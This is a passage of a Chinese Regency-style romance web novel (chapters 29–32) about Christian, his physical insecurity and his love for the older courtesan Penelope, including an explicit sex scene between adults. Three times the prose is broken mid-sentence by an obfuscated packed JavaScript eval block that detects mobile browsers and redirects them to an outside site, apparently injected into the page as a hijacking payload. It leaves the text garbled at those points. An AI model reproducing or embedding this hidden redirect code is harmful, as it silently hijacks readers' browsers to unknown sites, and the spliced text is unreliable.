佩内洛普道：“所以我现在终于不再是佩内洛普女爵了？克里斯蒂安，我不明白你为什么会这么不信任我，你只有一个睾.丸根本没什么。” 她忽然的坦白直接杀了克里斯蒂安一个措手不及，让他尴尬不已。 他几乎是本能地想捂住自己的耳朵，仿佛这样就能阻止佩内洛普继续说下去。然而，他甚至连抬起手的力气都没有，只能僵硬地躺在床上，脸色因羞耻和愤怒而发红。 “闭嘴。”这是他第一次，也是唯一一次对她说这种粗鲁的话，才一出口，他就后悔了。 她可是佩内洛普啊。 佩内洛普终于转过头来看向他，眼中仍含着泪，但她的目光却异常坚定，甚至带着一丝怒意：“不，我不闭嘴，克里斯蒂安，我已经忍耐你很久了，要是我早知道你在乎的就是这么点小事，我早就狠狠地骂你了，你得庆幸你现在正身受重伤。” 克里斯蒂安的喉头紧紧收缩，他死死地盯着天花板，像是要用目光将其灼穿。多年来，他拼尽全力掩盖这个秘密，哪怕是最亲密的朋友都未曾知晓——可现在，佩内洛普不仅知道了，还直言不讳地说了出来。 他甚至可以想象她现在是用怎样的眼神看着他……怜悯、同情，或者更糟，某种母性的包容。 他无法忍受！ “你以为你在做什么？”他终于还是扭头看向了她，声音里满是恼羞成怒。 “羞辱我？可怜我？你是不是觉得自己特别高尚，特别宽容？” 佩内洛普狠狠地吸了一口气，像是在努力压制怒火，然后缓缓地、一字一顿地道：“不，我只是在乎你。” 在乎。 这个词比一记重拳更让他心头剧震。他的喉咙仿佛被什么给堵住了，呼吸都变得沉重。他几乎想要笑出声，可偏偏笑不出来。 他看着她，她脸上的温柔不似作伪，他的喉结上下滚动了一下，心脏狠狠地缩紧。她的温柔让他无所适从，比拳打脚踢更让他无处可逃。他想要说点什么，讽刺她，拒绝她，推开她，可他做不到。 “你在乎一个……一个不完整的男人？” “你是完整的！”佩内洛普终于还是怒气冲冲道，“这世上不止你一个男人这样，我的情人数量比你度过的生日还多，我有什么不知道的？还有莎拉，她也经历过这样的情人，我们都不会觉得很稀奇，而这也根本不会影响你男人的功能。你父亲觉得你不是完整的男人是他有病，应该进疯人院。” 克里斯蒂安第一次听她这样说话，几乎被她吓到了，但他身体的其他部分却不觉得，反而感受到了非常强烈的吸引力，好在他现在根本无能为力。 “佩内洛普。”他的声音比刚才更哑，说话对他的伤势来说，实在太痛苦，“你只是——” “只是心软？只是想安慰你？”佩内洛普打断了他的话，“不，克里斯蒂安，我说的每一句话都是真的。你总是觉得你不完整，可事实上，那只是一丁点的对你根本没有任何影响的缺陷，你在床上表现得完美无缺，我真不知道我还该怎么向你证明！” 克里斯蒂安的指尖微微颤抖了一下，佩内洛普看到了，却没有点破。 她只是伸手，轻轻地抚上他的脸颊，拇指缓慢地摩挲着他被打伤的地方，眼底浮现出一丝心疼：“你知不知道，当我看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15454541|167731||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到你被仆人们抬进来的时候，我有多害怕？你的脸上身上全是伤，还昏迷不醒，我喊你，你根本没有反应。我以为……以为我会失去你……” 克里斯蒂安从她的声音可以听出来，她真的很害怕，她真的很在乎他。 “佩内洛普……” 佩内洛普深深地看着他，道：“如果你不信我，就给我时间吧，让我证明，我真的值得你信任。” 克里斯蒂安一时间，竟然说不出一句话来。他的心脏跳得很快，甚至快到让他感到一丝恐慌。他想反驳，可他发现，他找不到理由去反驳她。 他默默闭上眼睛，感受着她指尖轻柔的触碰。那本应是令人安心的抚慰，可他却觉得自己像是站在悬崖边上，稍有不慎，就会跌入一场无可挽回的沉沦。 他从未像此刻这般狼狈。 疼痛在身体里翻涌，他几乎能感觉到旧日的羞耻与愤怒交织着撕裂他理智的利爪，可佩内洛普的手掌却像一片温暖的羽翼，轻轻地，固执地停留在他身上，不肯让他逃开。 他缓慢地睁开眼睛，将目光再次落在她的脸上。她看着他的眼神，如此炽烈，里面没有同情，也没有怜悯，只有浓得化不开的执着和关切。 “佩内洛普……”克里斯蒂安声音沙哑，像是砂砾碾过喉咙，“你知不知道你在做什么？” 佩内洛普微微一怔，随即毫不犹豫地点了点头：“我当然知道。” 她的语气是如此笃定，以至于克里斯蒂安几乎要信了她。可他怎么敢信？他怎么能信？ “你不明白。”他低声道，眼神幽深，仿佛暗藏风暴，“你根本就不明白，佩内洛普。” 佩内洛普却只是静静地看着他，语气平稳却不容置疑：“那就告诉我，让我明白。” 克里斯蒂安愣住了。 从未有人对他说过这样的话。 可现在，佩内洛普就坐在他面前，直视着他所有的伤痛与缺陷，却没有退缩，也没有躲闪。 她只是问他，要他告诉她。 克里斯蒂安的喉头收紧，手指无意识地抓紧了被单。他的身体依旧在疯狂地抗拒，可他的心脏却像是被无形的丝线缠绕，紧紧地拉向她。 佩内洛普见他久久不语，轻轻叹了口气，伸出手，主动握住了他的手。 她的掌心温暖，安稳而坚定，就像她这个人一样。 “克里斯蒂安，我不会骗你。”她低声道，目光柔和却带着某种难以撼动的决心，“你是怎样的人，你的过去如何，你的身体是否有缺陷——这些都不会改变我对你的看法。” 克里斯蒂安的心脏狠狠一震。 她的话语简单，可其中的分量却重得让他喘不过气。他挣扎着想要反驳，想要推开她，想要嘲讽她的天真，可喉咙里涌上的，却是一股近乎酸涩的情绪，让他一个字都说不出口。 他看着她，眼神复杂，最终，只能低低地笑了一声，带着一丝自嘲。 “你真是疯了。”他说。 佩内洛普微微一笑，歪头看着他：“那你喜欢疯女人吗？” 克里斯蒂安盯着她的眼睛，半晌，他终于无奈地闭上眼睛，低声叹息：“……我可能没得选。” 佩内洛普弯起唇角，俯身在他额头落下一吻，轻声呢喃：“当然没得选。” 她的声音轻柔，带着丝调皮，可克里斯蒂安却从中听出了另一层深意——一种不容抗拒的坚持。 他突然意识到，自己大概真的逃不开她了。 可他也终于意识到，也许，他并不想逃。 30. Chapter 30 失去行动能力让克里斯蒂安很是不适应，尤其他还无法冲到妹妹的面前，好可以让她闭上她的嘴。 他一遭受袭击，佩内洛普便立刻给他的妹妹费思送了信，费思很快就带着丈夫黑斯廷斯勋爵匆匆赶来探望。但她显然对他住在佩内洛普的宅邸颇有微词，她不仅觉得这有失体面，还公然质疑起他挑选情妇的品味，直言佩内洛普年纪太大，不够合适。 克里斯蒂安本就心情烦躁，听到费思这番话，怒火立刻蹿了上来。他的脸色冷了，撑着床沿就想要坐起来，可身上的伤让他动弹不得，疼痛像是一把钝刀，在骨头里狠狠地碾过。 他狠狠地吸了一口气，忍住呻吟，咬牙道：“费思·夏洛特·萨拉·朗斯通，你再说一句佩内洛普的坏话，我不管你是不是我妹妹，我都会让你闭嘴。” 费思毫不示弱地扬起了眉毛，双手环胸：“哦？所以你承认她是你的情妇？还有，我早结婚了，别那么叫我，你也吓不到我了。” 克里斯蒂安狠狠瞪她一眼，道：“她是我的情妇，也是我此生的挚爱。” 话音落下，房间里的空气都仿佛凝固了一瞬。费思的神色猛然一变，连她身旁的丈夫、向来冷静自持的黑斯廷斯勋爵詹姆斯，也露出了几分讶异。 “此生的挚爱？”费思的音调不由自主地提高了，“你疯了吗，克里斯蒂安？你被那个路边的流氓打傻了吗？你千万别告诉我你甚至还准备娶她！” “你是听不明白英语了吗，妹妹？”克里斯蒂安坦然道，“如果有那个必要，我会求婚的，我希望与她共度余生，我只怕她会不愿意。” 费思震惊地看着他，差点被他荒谬的话逗得笑出声：“她还可能不愿意？” “我确实配不上她。”克里斯蒂安道，“她太完美了，几乎像是一位女神，而我只是个卑微的凡人。” 费思深吸一口气，似乎试图让自己冷静下来，但显然效果不佳。她瞪着克里斯蒂安，就这么瞪了好一会儿，最终，她还是无力地将目光又投向了自己的丈夫，并几乎是气急败坏地开口道：“詹姆斯，你说句话啊！” 詹姆斯一直沉默地看着兄妹间对话，闻言，也只是优雅地耸了耸肩，道：“这是克里斯自己决定的事情，费思，我们不该插手。” 费思不可置信地看着自己的丈夫，生气道：“可是，她比他大了那么多啊！她的年纪可能都够做我们的妈了！” 一听到这种话，克里斯蒂安的脸色顿时一沉。 “够了，费思。” 费思还想要再说什么，但当她对上克里斯蒂安的眼神时，终于意识到——她哥哥是真的动了真心，就像多萝西当初告诉她而她没有相信的一样，这简直是个恐怖故事。 片刻之后，费思终于深深吸了口气，并揉了揉太阳穴，语气虽然仍然不赞同，但也还算给了个台阶道：“好吧，既然你这么坚持的话，但至少，等你能站起来后再做决定吧。也许你只是受伤之后第一个看见的人就是她，你被当时的情感迷惑，我希望等你好了时你脑子里进的水已经出来了。” 克里斯蒂安道：“你最好是现在开始习惯我们一家人里可能要增加新人了。” 费思翻了个白眼，几乎想破口大骂，而詹姆斯则轻轻拍了拍她的手，示意她别再争执。但她实在无法理解，甚至感到一丝不安。 她叹了口气，努力让自己心平气和：“克里斯，我不是想要反对你的……人生选择，对，人生选择，但你真能确定这不会就只是一时的迷恋吗？就听我一句劝吧，她比你年长了那么多，社交界也有太多关于她的流言蜚语，到那时候大家都会笑话你，求你了，她的身份就只适合做你的情妇……” 克里斯蒂安道：“费思，我不会继续重复下去，佩内洛普不仅是我的情妇，她是我深爱的女人，如果她愿意，我会立刻娶她为妻，让她成为朗斯通伯爵夫人。” 他过于真挚的情感让费思也没有办法了，她的嘴唇微微张开，却好半天都找不到话语去反驳什么。 又过了好一会儿，她才再次开口道：“行吧，克里斯，我不会再说什么了，都随便你，真是，我还是管好我自己吧，不然我迟早得被你气死。” 听到妻子这么说，詹姆斯在一边道：“那可真是太好了。” 费思气得白了丈夫一眼。 然后她站起身，拍拍裙摆，准备要离开，可她走到一半，还是忍不住回头道：“你最好确定这真的是你想要的，婚姻可是没有后悔药吃的。” 克里斯蒂安道：“你以为我连自己想要什么都分不清？” 费思又道：“詹姆斯，我们离开吧，而且最近都别过来了，我不想头疼了。” 詹姆斯点点头，但在离开之前，他又看了克里斯蒂安一眼，意味深长道：“克里斯，如果你真的想娶一位女士，你就得尽快行动，佩内洛普女爵依旧是一位很有魅力的女士，我毫不怀疑珀西瓦尔爵士至今对她念念不忘，而且，我相信她确实会被年龄的问题困扰，你的路一点也不好走。” 克里斯蒂安淡淡道：“我知道。” 詹姆斯耸耸肩，随即牵起费思的手，并立刻被对方甩开，可夫妻俩还是一起离开了房间。 房门关上的那一刻，克里斯蒂安靠在枕头上，长长地叹了口气。 费思的态度虽然仍然带着些不满，但至少，她应该不会再横加干涉了。 而他自己…… 他吃力地抬起了手，盯着掌心出神，脑海中浮现出佩内洛普的模样。 詹姆斯说得一点都没错，他不能一直就这么虚耗光阴。 等他伤好了之后，他该做些什么了，毕竟说服一个认为自己年纪太大的交际花嫁给他显然是一桩难事。 而在他伤好之前，他想，他估计得早点回到自己家才行。 他当然不可能是不想住在佩内洛普家里，被她仔细照顾着，事实上，他非常享受这段时光。只是，一起在公共场合露面是一回事，但公开住在佩内洛普的家里，只会让她变成流言蜚语和恶毒言语的目标。这是他不惜一切代价想要避免的，他早就受够了报纸上那些无聊的社交版面。 唉，他真该避免被乔治·圣-约翰与他的手下袭击的。那种货色，他本可以轻松摆平，但就因为他走神得太厉害了，那当头一棒完全毁掉了他的行动力。而现在，他甚至不知道该不该状告对方，没有目击证人，圣-约翰那种油嘴滑舌的家伙很容易就能把自己摘出去，并说他是被路边的酒鬼打了，然后为了多萝西而诬陷于他。 大家会很高兴看到这件事有关女人，而这个女人还确实是圣-约翰从前的情人，也是他从前名义上的情人。 他太了解世道人情，他可以清楚看到等待着他们的将是怎样的未来。一切会变成简单的感情纠纷，然后以他的知名度，这会成为上流社会经久不衰的谈资，各种小报会非常高兴将这件事情做成讽刺漫画，戏剧舞台上也会以此为题材编出一大堆闹剧，他们会彻底走红。 而且更重要的是，他总归是怕对方的满口胡言真的会影响到多萝西，哪怕这个女孩已经随丈夫去往了美国，但他们俩终归是英国人，不可能在美国待一辈子，她总是要回来的，还有他的费思，要是也牵扯到了他的费思…… 他意识到，他最害怕的居然是詹姆斯可能会为了心爱的妻子直接杀人，然后害得自己被吊到绞刑架上去，让他可怜的费思变成寡妇。 算了，还是别再想了，他不是会忍气吞声的人，他总会好好报复回去的，就现在，他应该高兴自己还活着，还能看见美丽的佩内洛普，这不就足够了么？ 她为了照顾他，一直就睡在旁边的扶手椅上，他坚持让她到床上来，她也固执得很，愣是害怕碰到了他，就好像他是什么珍贵的瓷器，一碰就碎。 可他宁愿享受那种甜蜜的痛苦，因为爱上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15461507|167731||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她，本身就是一种甜蜜的痛苦。 他一可以从床上爬起来，就背着睡着的佩内洛普坚持自己走下了楼，他很庆幸自己的腿没被打断，不然那可能留下终身的问题。 艾米莉一看见他就被吓坏了。 这可怜的女仆忙前忙后的，又是搀扶他坐下，又是给他送早餐及报纸，又是问他哪里痛不痛，生怕自己没有伺候周到。 之后很快，苏醒的佩内洛普也急匆匆下了楼。 “我的天哪，你怎么自己下来了？你有没有想过你要是摔倒了怎么办？” 克里斯蒂安放下报纸，嘴角挂着一抹微笑，语气轻描淡写：“如果摔倒了，那也是我活该。” 佩内洛普皱起了眉头，快步走到他面前，直接拿走了报纸：“克里斯蒂安，你可不可以不要总是这么不把自己当回事？” 他握住她的手，眨了眨眼睛道：“可我本来就不是什么珍贵的瓷器。当然，如果你觉得我是，你可以非常小心地捧着我。” 他的语气显示出他的最后一句话可能别有深意，但佩内洛普拒绝承认自己正在想些有的没的。她狠狠地瞪了他一眼，却没能掩饰眼底的一丝无奈。 她用力抽回了自己的手，道：“你才刚能下床，就非得逞这股子英雄主义？” 克里斯蒂安微笑道：“我已经好得差不多了，真的。” “胡说。”她道，“你要是再这么折腾自己，我就直接把你绑回床上。” 克里斯蒂安嘴角的笑意更深：“像我绑你一样？” 该死！佩内洛普心想，她怎么还真的让他说得脸红了呢？他们到底谁年纪大？谁经验丰富？ 她走到他身边，握住了他的手，这一触碰让他全身紧绷。她的触碰以迅雷不及掩耳之势穿透了他的身体，让他意识到自己在她面前究竟是多么的脆弱。只要说错了一句话或者做错了一件事，就会暴露出他多年来一直隐藏起来的部分。这些部分是他想与她分享的，但是他还不知道她对他的感情有多深，让他还无法向她彻底地敞开心扉，大胆说爱。 “好吧，那你非要逞强是为了什么？” 克里斯蒂安低头搅了搅咖啡，语气平静：“我认为我得回家了。” 佩内洛普的手指微微收紧了，眉心皱起：“你在这养伤不好吗？” “不，是太好了。”克里斯蒂安抬眸，“你是世界上最好的护士，好得让我实在是舍不得离开。” “既然如此，那你就该听我的话，好好待在床上，而不是想要离开。” 克里斯蒂安道：“佩内洛普，我是认真的，我觉得我不能继续这么打扰你。” 佩内洛普一愣：“什么？打扰？” “难道你能否认在过去的几天里，由于照顾我，你的日常完全被打乱了吗？你眼睛下面简直是一片乌青。” 即便如此，她还是非常漂亮，他想。 “我知道了。”佩内洛普冷冷道，“因为我知道了你的事，你现在想躲开我，我想你已经在考虑与我分开了。” “我根本不知道你在说什么。”克里斯蒂安立刻道。 分开？他下辈子都不想与她分开。 佩内洛普道：“我很失望，你竟然还是不能信任我，你竟认为……你竟认为我会仅仅因为上帝使你与大部分男人有点不同而拒绝你，你究竟是把我给当成什么了？” “我不记得我曾这么说过，虽然这可能确实是个很值得在意的问题。” 他皱着眉头看着她。这是一个事实。在他们的幸福面前，有两个障碍需要克服。他的缺陷和她可能无法接受他们的年龄差距。 “在意？很好，我会告诉你我真正在意什么的。” 然后，佩内洛普望着他的脸，像是正在犹豫些什么，但是很快，她还是一狠心，上前来在了他的双腿之间。 克里斯蒂安整个人都惊呆了：“佩……佩内洛普……” 31. Chapter 31 “你想做什么？”克里斯蒂安问，他的声音从未听起来如此奇怪过，像是被一种从未体验过的情绪拉扯着，既震惊，又怯懦。 佩内洛普默默地握住了他的手，把它放到了自己的嘴边，用嘴唇轻柔地吻着他的掌心。 一个无声的救赎之吻。 那一刻，克里斯蒂安只觉得心脏像是被什么东西猛然击中，在胸腔里剧烈地跳动着。她的这个举动比任何语言都更有力地刺入了他的灵魂深处。他不是没有体验过别人的亲近，但从未有过一个女人以这种方式靠近他，不是因为欲望，不是为了讨好，而像是在包容、在抚慰、在聆听一个破碎之人的全部伤口。 然后，佩内洛普伸出手解开他裤子门襟下的第一颗纽扣。 对于一直都规规矩矩在床上的他们而言，这是他们从未有过的情景。他的心顿时跳得更猛烈了，血液也仿佛在刹那间沸腾。 他想要拉住她的手，但她坚定的眼神阻止了他的动作。 天哪，当她这样看着他的时候，他是多么的爱她。 克里斯蒂安的指尖微微颤抖，他的身体本能地紧绷，像是一根拉至极限的琴弦，稍有触动便会断裂。 他结结巴巴道：“也许……也许你觉得你有必要向我证明什么，我——” 佩内洛普打断了他的话：“不，我并不想向你证明什么，我只是想告诉你，我有多么喜欢你的身体。” 话音刚落，她便开始解第二颗纽扣，第三颗纽扣，小心翼翼地，就像是在打开他筑起的心墙…… 他的某一部分身体很快开始替他脖子上的那个东西思考，它以惊人的速度做出了反应。他摇了摇头表示抗议，她的手指按在了他的嘴唇上。 “不，不要说任何话，只要听我说，”她一边说，一边继续解开他的裤子，“你知道吗？那天晚上当我脱掉你的衣服时，我看到你的身体上布满伤痕，感到非常震惊也非常难过。但是，即使你的伤痕丑陋不堪，也掩盖不了我一直以来的发现，你真的很美，克里斯蒂安，无论哪里都是。” 他不相信地哼了一声，然后心脏猛地撞到胸腔上。她看着他，将他裤子的门襟打开，让他那不完整的身体彻底暴露在他们的眼中，然后，她伸出了她柔软的手，第一次触碰了它。 克里斯蒂安整个人都仿佛被一道雷电击中，一时间浑身发抖又发热：“不，请停下来，佩内洛普。” 佩内洛普并没有停下，她的动作缓慢而温柔，像是在给予他足够的时间来拒绝，又像是一种纯粹的折磨。 “我喜欢像这样看着你，抚摸你。”她轻声说道，“我曾经还幻想过取悦你，你知道是用什么样的方式吗？” 他当然不知道，即便已经与她在一起了这么久，他也依旧是一个什么都不懂的毛头小子，这让他很是恼怒。 “什么方式？”他问。 佩内洛普微笑着，低下了头：“就像这样。” “佩内洛普……”他的声音嘶哑，像是承载了太多的痛苦和挣扎，“别——” 可她只是抬头看着他，轻轻地摇了摇头，眼中满是坚定和温柔，仿佛在告诉他，他不需要羞耻，不需要害怕。 克里斯蒂安的喉咙一阵发紧，他的世界一直被阴影笼罩，而此刻，佩内洛普就像一道光，试图穿透他所有的自卑和恐惧，将他从黑暗中拯救出来。 他还能抗拒她多久？ 克里斯蒂安闭上了眼睛，长长地吐出一口气，像是在放弃挣扎。他缓缓地抬手，指尖颤抖地穿过佩内洛普柔软的发丝。 “你真的知道自己在做什么吗？”他低声问，声音沙哑而沉重，透着难以掩饰的情感。 佩内洛普轻轻一笑，声音柔和却带着不容置疑的坚定：“比你想象的更清楚。” 上帝保佑他吧！当被她带到了从未想象过的地方时，克里斯蒂安短暂地做了一会儿上帝的信徒。 “你相信我的话了吗？还有怀疑吗？”佩内洛普问她，“尽快回答，嗯？你还相信你的父亲吗？” 她的话戳中他最深的伤口，那些关于家庭的、关于自我厌弃的回忆在他体内搅动，但在她温柔的眼神中，那些回忆又如潮水般褪去。 “可我确实是个异类。”他喃喃道。 “那只是一丁点不同。”她温柔地笑，“看看你自己有多么壮观，大多数男人根本比不上你。” 当她再次低下头时，他本以为她会用舌头舔遍全部，但她却是选择了含在口中。 上帝——他再次唤出这个名字——请帮帮他！她显然已下定决心要彻底摧毁他。他从未想象过，一个人的嘴唇可以温柔成这样，可以火热成这样，可以带着这样的决意与爱意，让他在瞬间瓦解。 她的动作里没有羞耻，没有犹疑，也没有勾引的轻浮。她是在献祭自己，也是在拯救他。 他疯狂地战栗着，手指无处安放的模样，就像是落入大海的溺水者，无法抓住任何救命的浮木。 直到一切终于结束，她用手帕将他们都清理好，坐直了身子，带着一丝满意的微笑看着仍然沉浸在致命快感中的他。 “你到底相不相信？” 克里斯蒂安终于妥协：“我相信。” 与她争论是他没有力量去做的事情，尤其是当他已经用尽了所有的意志力才没有说出他爱她的时候。 “我真的不想离开你。”他又说。 佩内洛普轻轻叹了口气，终于开口：“但你还是一定要走，哪怕你还没有完全康复，我本以为……” 她没有说完。 他道：“我不能一直待在这里。” 她点点头，表示理解：“我会想念你，很想念你。” 她的语气轻松，但他却还是隐约察觉到了有什么地方不太对劲。 “你在想什么吗，佩内洛普？” “什么？”佩内洛普疑惑地问。 然后她立刻又道：“我当然没想什么，我现在就让里德准备马车送你回去。” 说完，她就将他从椅子上扶了起来，然后准备去按铃传唤她的管家。 可他没有让她走开，他将她拉回了自己的怀抱里，印下了深深的一吻。 然后，他意识到她又掉下了眼泪。 他不明白她为什么要哭，这明明只是一件很小的事。 他皱起眉头，很快就有了想法，她是一位著名的交际花，而交际花在感情里一直是出色的爱人与演员。她终究还是介意，也许她已经准备好在他离开后立刻写信告诉他一切都结束了。 毕竟那样会比较体面！ 这也解释了她刚刚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15467089|167731||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的行为，难怪她忽然这么大张旗鼓地为他服务，因为这是一场告别！ 他不久前才沸腾过的血液瞬间凉了。 他才不管体面不体面的，直接就问：“佩内洛普，你……想和我分手了吗？” 佩内洛普顿时愣住了：“分手？我为什么要和你分手？” “那你为什么要这么急着摆脱掉我。” 这更是倒打一耙了。 她气呼呼道：“明明是你在急着想摆脱我，爵爷。” “我现在甚至成了‘爵爷’了。”他说。 “我不想摆脱你。”佩内洛普道，“我就只是……我只是……” 她说着说着，又有些哽咽了。 见她这样，克里斯蒂安的手不禁又心疼地放在了她的脸上。 “我只是在想，这就像是在预演你真正离开我时的场景。”佩内洛普道。 她知道这样的一天总会到来的，他会永远离开她，于是多少次，他们明明还近在咫尺，她便已经忍不住开始哀伤他的离去。而现在，他正要离她而去，哪怕只是暂时的，又让她如何不伤心呢？ 克里斯蒂安的心软了下来。 离开她？他只是暂时从她身边走开都那么艰难，更别提永远了！天知道他究竟有多想带她走，带她回朗斯通庄园，在那里，他们可以离开伦敦的流言蜚语，在那里，他们只有彼此。 也许，也许她对他的感情真的…… 他控制住了自己不要多想，用笑意掩饰着慌乱：“我们的协议都还墨迹未干呢。” 可是她太现实了，她没有对他微笑。 “你总归是要离开的，你需要继承人，那代表了一位年轻的新娘，而我从不曾闯进别人的婚姻里，克里斯蒂安。” 又开始了，克里斯蒂安想，年纪的问题。他一想到她可能正在考虑结束他们的关系，就变得浑身紧张起来。 “我不会和你分开的，佩内洛普。” 永远都不会！ 佩内洛普终于无奈地笑了笑，但显而易见的是，她没有当真。 他真想立刻向她求婚，但他很清楚，那可能反而导致更糟糕的结果。她毕竟死过一个丈夫，又在以为将要拥有第二个丈夫时被狠狠地伤了心，这一切都会让她更谨慎地对待婚姻，当年的珀西瓦尔爵士在这件事情上就完全搞砸了，他们直接彻底地分手了。 尤其，他很清楚，在这方面他甚至还不如那比她大了好几岁的珀西瓦尔爵士有优势，他的年龄可以将一切行为变成年轻人的一时冲动，不能做数…… 他现在还和她是情人关系，这很好，他还能慢慢耕耘，决不能操之过急。 总之，他非得娶到她不可。至于继承人的问题，她想生就生，她若是不想生，传宗接代的任务可以交给家族旁系，反正这也是他父亲所乐见的。 当里德让仆人准备好了马车，克里斯蒂安也不得不准备离开了。 佩内洛普在门厅与他吻别之后便让他离去，没有冲动地开口挽留什么。她就站在原地，静静地看着他的背影，直到他彻底消失在晨光之中。 门轻轻地关上了。 屋内重新归于寂静，仿佛什么都没有发生过。 佩内洛普闭上眼睛，将手掌贴在自己发凉的唇上，心中百感交集。 32. Chapter 32 克里斯蒂安刚刚离开的时候，佩内洛普始终觉得屋子里少了些什么。 以往她并不是一个害怕孤独的人，甚至在许多时候，她都享受着独处的自由和宁静。然而，这一次，当她坐在熟悉的窗边，手中捧着一本书时，却时常忍不住分心，目光不自觉地落在窗外，仿佛期待着某个人的身影出现在门前。 她叹了口气，终于不得不承认了自己强烈的思念。 就在她下定决心要做些什么来打破这种无聊的等待时，克里斯蒂安的来信却比预想中早了一些抵达。 毕竟，他才离开她家不到一天。 她拆开信封，看着上面那再熟悉不过的字迹： ——“我想你。” 仅仅三个字，却比任何冗长的情话都更能撼动她的心。 佩内洛普无声地笑了笑，指尖轻轻抚过信纸，片刻后，她站起身，吩咐仆人准备马车。既然他仍旧需要在家里好好养伤，不太方便立刻过来找她，那她为什么就不能去找他呢？ * 当佩内洛普到达克里斯蒂安的联排别墅时，天色已晚。仆人有些意外，但仍恭敬地将她迎了进去。她还未来得及等人通报，就将书房的门打开了，克里斯蒂安坐在那里，显然也未料到她会出现在这里。 “你……”他眉头微微皱起，像是不敢相信，“你怎么来了？” 佩内洛普勾起一抹笑意，优雅地摘下手套，“因为有人给我写了封非常简短的信。” 克里斯蒂安听懂了她的玩笑话，嘴角不由自主地扬起，“简短吗？我以为它已经足够直白。” “确实很直白。”佩内洛普走近一步，仰头看着他，“但你知道我向来不喜欢等待，而且，我也很好奇你的家，我还没有来过呢。” 克里斯蒂安低低笑了起来，伸手将她拥入怀中，额头轻轻抵着她的发顶。他的怀抱依旧温暖而坚实，带着熟悉的气息。 “你该不会连一点东西都没有带吧？”他在她耳边低语。 “我完全忘记了。”佩内洛普轻声道，“但如果你愿意收留我，我不介意这么不太方便地待上一段时间。” 克里斯蒂安松开她，目光中带着几分揶揄，“这可真是个意外的惊喜。” “我以为你会说‘灾难’。” “那得看你这次打算待多久。” “嗯……”佩内洛普故作思考，随后轻笑了起来，“至少，今晚。” * 晚餐后，两人并肩坐在壁炉前，克里斯蒂安一边给自己倒了一杯酒，一边看着佩内洛普用叉子轻轻挑起一块蛋糕，慢条斯理地品尝。 “你之前从未跟我提过，你居然喜欢吃甜食。” “因为我并不常吃，如果你见过我母亲最后几年的样子，你也不会经常吃。”佩内洛普回答，“但人偶尔放纵一下，也未尝不可。” 克里斯蒂安不禁微微一笑，道：“你知道吗，我小时候最喜欢偷偷跑到厨房去拿甜点吃，我会吃得满脸奶油，然后让我的小狗通通舔掉。” “这倒让我有些意外。”佩内洛普扬了扬眉，又回忆起了那些让她心疼不已的事情，“我还以为你的童年过得相当压抑，几乎没有任何乐趣可言。” “确实。”克里斯蒂安轻叹一声，“但那并不代表我没有哪怕一点反叛精神。” 佩内洛普饶有兴趣地看着他，“所以，你唯一的反叛方式是偷吃甜点？” 克里斯蒂安笑着摇头，手指轻轻摩挲着酒杯，“那只是之一。还有一次，我甚至偷偷溜出庄园，骑马到了镇上，想看看‘外面的世界’是什么样的。” “结果呢？” “被抓了回去，我父亲将我衣服内的地方打得皮开肉绽，我的小狗想救我，被他撕了半边脸的毛。” 佩内洛普没有表达同情，只是眼神柔和道：“想不到你过去也这么顽皮。” “我就只是太想看看外面的世界，看看天大地大，是否有我的容身之处。”克里斯蒂安轻声道，目光落在火焰上，“但是很快我就意识到了，有些世界，我永远也无法真正踏入。” 佩内洛普看着他的侧脸，心中微微一动。她知道，克里斯蒂安一直在他的秘密与彻底的自由之间挣扎。 她握住他的手，指尖轻轻摩挲着他的掌心，“但至少，现在的你可以选。” 克里斯蒂安转过头，深深地看着她，“是吗？” 佩内洛普点点头，轻轻地笑了笑：“当然。你已经不再是过去的那个男孩，也不需要再被困在那个你讨厌的世界里。你拥有自己的土地、财富，还有我。” 克里斯蒂安盯着她，像是在思索她话中的某种含义。他没有说话，而是慢慢地反手握住她的指尖，轻轻摩挲。那双总是冷峻的眼睛，在火光的映衬下显得异常温柔。 “你知道吗？”他低声道，“过去我总觉得自己无法真正拥有任何东西。即便是一匹马、一间房子，甚至是我的名字，它们都像是某种我必须谨慎守护的东西，而不是属于我的一部分。” “但现在呢？”佩内洛普轻声问。 克里斯蒂安看着她，眼神深邃，像是要将她刻进眼底。 “现在，我终于知道，也许有些东西是我真正可以拥有的。”他的声音低沉而坚定，“而我更希望的是……” 他什么也没有继续说。 佩内洛普问：“你更希望什么？” 克里斯蒂安道：“这是个秘密。” 佩内洛普道：“又是一个秘密，你确定不能告诉我？” “非常确定。”克里斯蒂安微微一笑，然后忽然站起身，牵着她的手，将她从椅子上拉起来。 “你想做什么？”佩内洛普有些疑惑地看着他。 “带你去个地方。” 